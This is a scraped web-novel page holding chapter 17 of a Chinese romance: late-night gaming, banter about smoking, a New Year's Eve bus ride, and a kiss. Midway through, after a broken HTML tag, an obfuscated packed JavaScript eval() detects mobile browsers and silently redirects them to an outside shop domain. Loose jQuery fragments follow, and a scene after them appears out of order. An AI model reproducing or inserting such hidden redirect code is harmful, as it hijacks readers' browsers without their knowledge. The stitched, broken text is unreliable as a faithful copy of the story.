文趣网 > 其他小说 > 阴暗蘑菇生长日记 > 17. 第17章
    方跃打开PS5游戏库,两人沿着列表直接玩到了凌晨三点,最终蔺安君叫停:“不玩了,我要回家,你这个无业游民还能补觉,明天我还有课。”

    方跃放下手柄,“你玩得还挺好的,没少玩啊。”

    蔺安君没领会他暗戳戳的试探,老实回答:“对啊,以前我接过一段时间的游戏代打,口碑挺好的,列表里现在偶尔还有老客户问我接不接了。”

    “不过刚刚玩的游戏我都没有玩过,我一般接的都是手游,这样时间比较充裕,图书馆学累了可以接会儿单,就当放松了。”

    方跃本来觉得自己的小心思隐藏得很好,听到蔺安君的回答之后只觉得自己是个心眼小人品坏的蠢货。

    “哦。”方跃拿出手机,“那我加你游戏好友吧,你都玩哪几个。”

    蔺安君这时才显出来些犹豫,“我没有自己常玩的游戏号。”

    这句话说出来之后,她也就坦然多了:“很多游戏需要充钱,不充钱体验感就很低,但是接代打的话,客户的账号一般都比较高级,装备皮肤齐全,而且还能赚钱,没有消磨时间的负罪感。”

    “现在学习很忙,没时间接代打,也就没再玩游戏了。”

    方跃心里很不是滋味,转移了视线,语气仍像平时那般随意:“不累吗?”

    蔺安君无意识按了按手柄上的按钮,“还好吧,不算体力活,就当玩了。但确实挺费时间的,而且我还要攒钱,所以社交也很少,一起出去玩要花钱的。”

    “后面上大学之后就好很多了,时间更自由,有时间打工挣钱,和人维持正常的交际,有人觉得打工丢脸,但我觉得还好,劳动换所得嘛。”

    方跃听了蔺安君的平铺直叙,很后悔自己的小气,他刚刚还因为蔺安君可能早已跟别人共同体验过开心而心生妒忌,此刻却只有一个念头,希望蔺安君在不认识他的时候,拥有很多他不曾参与的欢愉。

    “我还好,上学的时候社交很多,不过有点不良少年,你见了我肯定是要跑的。”方跃轻飘飘地说。

    蔺安君笑:“那我大概知道你是哪种了。”

    “……”

    “躲在厕所抽烟不臭吗?”

    “谁在厕所抽啊。”厕所是重音。

    蔺安君哦了一声:“果然是从高中就开始养成不良习惯的。”

    方跃刚拿起桌面上的气泡水喝了一口,差点呛到:“咳,蔺安君,你钓鱼钓上瘾了是吧?”

    蔺安君拿起自己面前的,同样喝了一口:“我很讨厌烟鬼跟酒鬼的。”

    方跃立刻反驳:“我不是烟鬼跟酒鬼。”

    蔺安君哦了一声,方跃觉得有点说不出口:“没有瘾,但会很想试一试这种边缘的东西。比如逃课,上网,不穿校服。酒的话是因为不喝不合群,烟的话……”

    方跃很艰难地说了实话:“我觉得我抽烟的样子还挺帅的,忧郁的帅哥需要一些时尚单品。”

    果然,蔺安君发出爆笑。

    方跃拿起靠垫砸了过去。

    蔺安君还是在笑:“哇,帅哥,最近在哪里忧郁呢。”

    方跃不说话了,蔺安君又笑了一分钟才停:“对不起,不该笑话你。”

    方跃依旧不出声,蔺安君突然说:“还有吗?给我一根试试吧。”

    方跃被嘲笑一番,此时更是无语:“别钓了,很久没有买烟了。”

    准确来说,那晚之后,他就没有再摸过烟,具体原因,他不愿意说。

    ……总不能说接吻的时候怕把蔺安君呛到吧?显得他很饥渴。

    “没有钓,你给我一根尝尝吧。”蔺安君眼睛眨巴着,忽闪忽闪的,看起来很诚恳,像是研究玩具新玩法的小学生,跃跃欲试,不满足她的话,会觉得自己做错了什么事。

    方跃起身去卧室扒拉了会儿,找出没抽完的半包烟,丢到蔺安君面前。

    蔺安君抓住,“好啊方跃,家里不是还有存货吗?又骗人。”

    方跃立刻扑上去抢,被蔺安君提前收进怀里。

    “开玩笑,开玩笑的。”

    她抽出一根,仔细端详着,嗅了嗅,然后抬头问方跃:“有火吗?忧郁帅哥。”

    “没完没了了是吧。”

    蔺安君见好就收:“不说了。”

    方跃蹲下,在抽屉里翻找出一支打火机,递到蔺安君面前。

    锵的一声掀开盖子,划动砂轮,汽口跳跃出橙蓝色的火焰。

    蔺安君将烟凑过去引燃,盯着看了会儿静静燃烧的暗红色烟尾,将烟头含进嘴里轻轻地吸上一口,又缓缓吐出。

    两人之间隔了一层灰白色烟雾,又很快散去。方跃没有告诉蔺安君吸烟要过肺,捏过她手中的烟按进玻璃杯里熄灭。

    “行了。”

    蔺安君看着长长的烟身说:“太浪费了吧。”

    方跃不再蹲着,按着沙发起身坐回原位,“我怕被二手烟毒死。”

    蔺安君笑:“哇,你好记仇啊。”

    方跃也跟着冷笑:“对啊,我还记得你偷偷把糖纸塞我口袋里。”

    蔺安君提出异议:“是你先丢我帽子里的,我只是还给你。”

    “呵呵。”

    除夕夜当天。

    找到酒店前台付了一笔钱,前台打电话联系大巴司机期间,两人在大厅等着。

    外面依旧下着雪,他和蔺安君一人捧着一杯免费的水,隔着很远的距离面对面坐着。

    今年的雪尤其的大,没有停下的迹象,方跃看着窗外,也顺带看着缩成一团,啜饮着热水的蔺安君。

    他突然在想,自己真的是有点小气,鼻子被砸出血也实在是自己动手在先,何况他妈早就叮嘱过,蔺阿姨家的女儿找到了,以后如果见面的话,要多加照顾。

    他嗤之以鼻,并不在意,怎么对蔺朝的就怎么对她好了,毕竟也不会常见面,有什么好特意交代的。

    结果他在除夕夜讹了人六百多的车费,陪自己一起冻在外面捧着热水取暖。

    平心而论,如果是蔺朝的话,他最多翻个白眼,转身离开自己处理。

    啊……是不是真的有点小气……

    蔺安君抬头,方跃移开视线,重新看向天空中飞舞的雪,乱七八糟的,不知道什么时候才能停。

    这时,酒店门口驶来一辆大巴,前台提醒可以坐车了,方跃和蔺安君先后上去,一个人坐在第一排左侧,一个人坐在斜对角的第三排右侧。

    路况不是很好,车辆行驶得很慢,晃晃悠悠地穿过被冬雪覆盖的街。

    接近凌晨了,明天是新的一年。

    方跃看着窗外,突然在想,不知道什么时候还会见到蔺安君,也许是明年的除夕。

    不知道那时还会不会下雪。

    “好了,只能送到这里啊,里面不好掉头。”司机停下车子。

    蔺安君扶着车座椅一点一点地往门口走去。

    方跃依旧目不转睛的看着窗外,接着他的肩膀被拍了拍。

    “我先走了啊。”

    ……这似乎是方跃第一次看到蔺安君笑,浅浅的,像不愿绽放的花骨朵,透着吝啬的芬芳,让人有些期许,有些失望。

    行吧。既然她打招呼了。

    “路上小心,新年快乐。”方跃送出祝福。

    他认为这算是旧账一笔划过,同样心中也有隐秘的快乐。

    也许并不是只有他一个人心中有些不舍。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677383|207542||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    直到他摸到口袋中的那张废糖纸。

    “你这个人挺坏的。”方跃说。

    蔺安君不知道他怎么上升到这,但看他的表情又好像挺认真的。

    “啊?你生气了?”

    方跃按着她短短的头发,揉出了乱糟糟的静电,心里的那点怪意味终于消散。

    蔺安君瞪着他,注视着,才发现他这人真的挺心机的。

    占据主场优势,所以早早将自己打理干净,头发也吹了个造型,身上穿的是干净整洁的睡衣。

    而她,在外忙活一天又吃了火锅,身上的衬衫和毛衣都变得皱皱巴巴的,现在连头发都变成了鸟窝。

    这算什么,用颜值进行碾压吗?忧郁帅哥?

    方跃松手,蔺安君立刻离得他老远,用手指将头发重新梳理整齐。

    方跃又凑过去重新揉乱。

    蔺安君:“你无不无聊?”

    “不无聊,很好玩啊。”方跃的声音中带着笑意。

    蔺安君啪地一下打在他的胳膊上。

    方跃这才停手,语气中有些犹疑,“那你揉回来?我刚洗完头。”

    这是内涵我没洗头?蔺安君没觉得这个提议算是诚心。

    见蔺安君不说话,方跃心里有些没底,他也不知道自己乱揉人头发算不算过分,因为他确实抱着发泄的心理。

    “那你打我一下?”

    这是要把她引向暴力狂的领域,由占理变成不占理。

    蔺安君依旧不吭声,但心里在细细盘算着。

    方跃还在提议:“两下?”

    “三下?”

    “那你随便打吧,不打脸就行。”

    这时蔺安君突然换了副表情,脸上多了些不明意味的热切,方跃立刻住嘴。

    “忧郁帅哥?”

    方跃隔了几秒才无奈地应答:“干嘛。”

    “给我展示一下你的时尚单品。”

    “……”这人真是。

    蔺安君眨眨眼睛,不见戏谑和调侃,扶着沙发靠背凑过来,一脸期待。

    方跃拿起茶几上的烟盒晃了晃,看了蔺安君一眼又丢回去,捡出丢进玻璃杯里的那支,夹在指尖重新点燃。

    “哎。”蔺安君欲言又止。

    方跃盯着蔺安君的脸,看她由兴致勃勃变为视线避躲,心下觉得好笑,含住带着湿意的烟头,缓慢地吸了一口,将灰蒙蒙的烟雾吐在她的脸上。

    蔺安君没反应过来,一脸呆滞地干咳了几下,方跃夹着烟在她面前晃了晃,“看够了没。”

    蔺安君点头。

    方跃倾身将剩下半截重新熄灭,嘲讽她:“刚刚不是很嚣张吗?”

    蔺安君觉得这人抽根烟把邪气抽出来了。

    领口松散,抬臂时锁骨沟微陷,红唇张合,吐出薄薄的烟雾,眼睛轻轻一瞥,简直像是蛊惑人心的狐狸。

    而她是道心不稳的……过路人,被调笑捉弄,又被深深吸引。

    他真的很有自知之明,也真的很会钓鱼。

    蔺安君掐了掐掌心,排除杂念,正色道:“我最讨厌抽烟的男的了,有句话叫要筛选不要改变,所以——唔……”

    嘴唇被覆上,齿列被轻轻撬开,温热的舌尖侵染上烟草的味道,只是轻轻一触,微妙的震触让两人均是顿住。

    贴近的面颊分开,两人沉默着对视,最终方跃先开口,嗓音有些涩涩的:“你很不讲道理啊。”

    蔺安君觉得喉咙被烟草灼得干涸,一时失语,下意识有一个吞咽的动作。方跃再度凑近,贴着她的唇面浅浅地啄了一下,分离。

    心里想的是,真的不该再次点燃那支烟。

    不然应该还可以继续亲。